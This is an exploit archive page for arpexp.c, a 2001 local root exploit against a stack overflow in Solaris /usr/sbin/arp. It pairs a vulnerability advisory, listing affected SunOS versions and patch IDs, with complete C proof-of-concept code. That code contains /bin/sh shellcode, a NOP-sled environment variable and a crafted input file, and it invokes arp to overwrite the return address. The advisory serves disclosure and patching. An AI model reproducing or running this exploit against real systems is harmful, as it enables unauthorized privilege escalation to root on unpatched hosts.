exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

arpexp.c

arpexp.c
Posted Jan 13, 2001
Authored by Sor Pablo Sebastian, Dave Ahmed | Site securityfocus.com

Solaris /usr/sbin/arp local root stack overflow exploit.

tags | exploit, overflow, local, root
systems | solaris
SHA-256 | b37113d4b5f35ea2807811dceb90d932c062e88b41f082fffecbf6522cc7344a

arpexp.c

Change Mirror Download
Sor Pablo Sebastian <psor@afip.gov.ar>

Vulnerability in Solaris arp(1M)

Date Published: November 28, 2000

Advisory ID: N/A

Bugtraq ID: N/A

CVE CAN: Non currently assigned.

Title: Solaris arp(1M) Buffer Overflow Vulnerability

Class: Boundary Error Condition

Remotely Exploitable: No

Locally Exploitable: Yes

Vulnerability Description:

The stack overflow is in arp's file() function, which reads the data in
from the supplied file. The overflow itself is a result of using sscanf
to split up the file data. In a typical buffer overflow fashion,
file()'s return address is overwritten with part of the supplied string.


Vulnerable Packages/Systems:

SunOS 5.7
SunOS 5.7_x86
SunOS 5.6
SunOS 5.6_x86
SunOS 5.5.1
SunOS 5.5.1_x86
SunOS 5.5
SunOS 5.5_x86
SunOS 5.4
SunOS 5.4_x86


Solution/Vendor Information/Workaround:


The following patches are available in relation to the above problem.

OS Version Patch ID
__________ _________
SunOS 5.7 109709-01
SunOS 5.7_x86 109710-01
SunOS 5.6 109719-01
SunOS 5.6_x86 109720-01
SunOS 5.5.1 109721-01
SunOS 5.5.1_x86 109722-01
SunOS 5.5 109707-01
SunOS 5.5_x86 109708-01
SunOS 5.4 109723-01
SunOS 5.4_x86 109724-01


Vendor notified on: November 28, 2000

Credits:

This vulnerability was discovered by Pablo Sor, Buenos Aires, Argentina.

Special thanks to Dave Ahmed from SecurityFocus for his meticulous help.

This advisory was drafted with the help of the SecurityFocus.com
Vulnerability Help Team.
For more information or assistance drafting advisories please mail
vulnhelp@securityfocus.com.

Technical Description - Exploit/Concept Code:

#include <fcntl.h>

/* arpexp.c

arp overflow proof of concept by ahmed@securityfocus.com
tested on x86 solaris 7,8beta

default should work. if not, arg1 = offset. +- by 100's

Copyright Security-Focus.com, 11/2000
*/

long get_esp() { __asm__("movl %esp,%eax"); }

int main(int ac, char **av)
{

char shell[] = "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"
"\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46"
"\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0"
"\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52"
"\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff"
"\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08"
"\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b"
"\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
"\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff";

unsigned long magic = 0x8047b78;
unsigned long r = get_esp() + 600;
unsigned char buf[300];
int f;

if (ac == 2)
r += atoi(av[1]);

memset(buf,0x61,sizeof(buf));
memcpy(buf+52,&magic,4);
memcpy(buf+76,&r,4);

f = open("/tmp/ypx",O_CREAT|O_WRONLY,0600);
write(f,"1 2 3 4 ",8);
write(f,buf,sizeof(buf));
close(f);

memset(buf,0x90,sizeof(buf));
memcpy(buf,"LOL=",4);
memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
putenv(buf);

system("/usr/sbin/arp -f /tmp/ypx");
unlink("/tmp/ypx");

}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    28 Files
  • 28
    Aug 28th
    15 Files
  • 29
    Aug 29th
    41 Files
  • 30
    Aug 30th
    13 Files
  • 31
    Aug 31st
    467 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close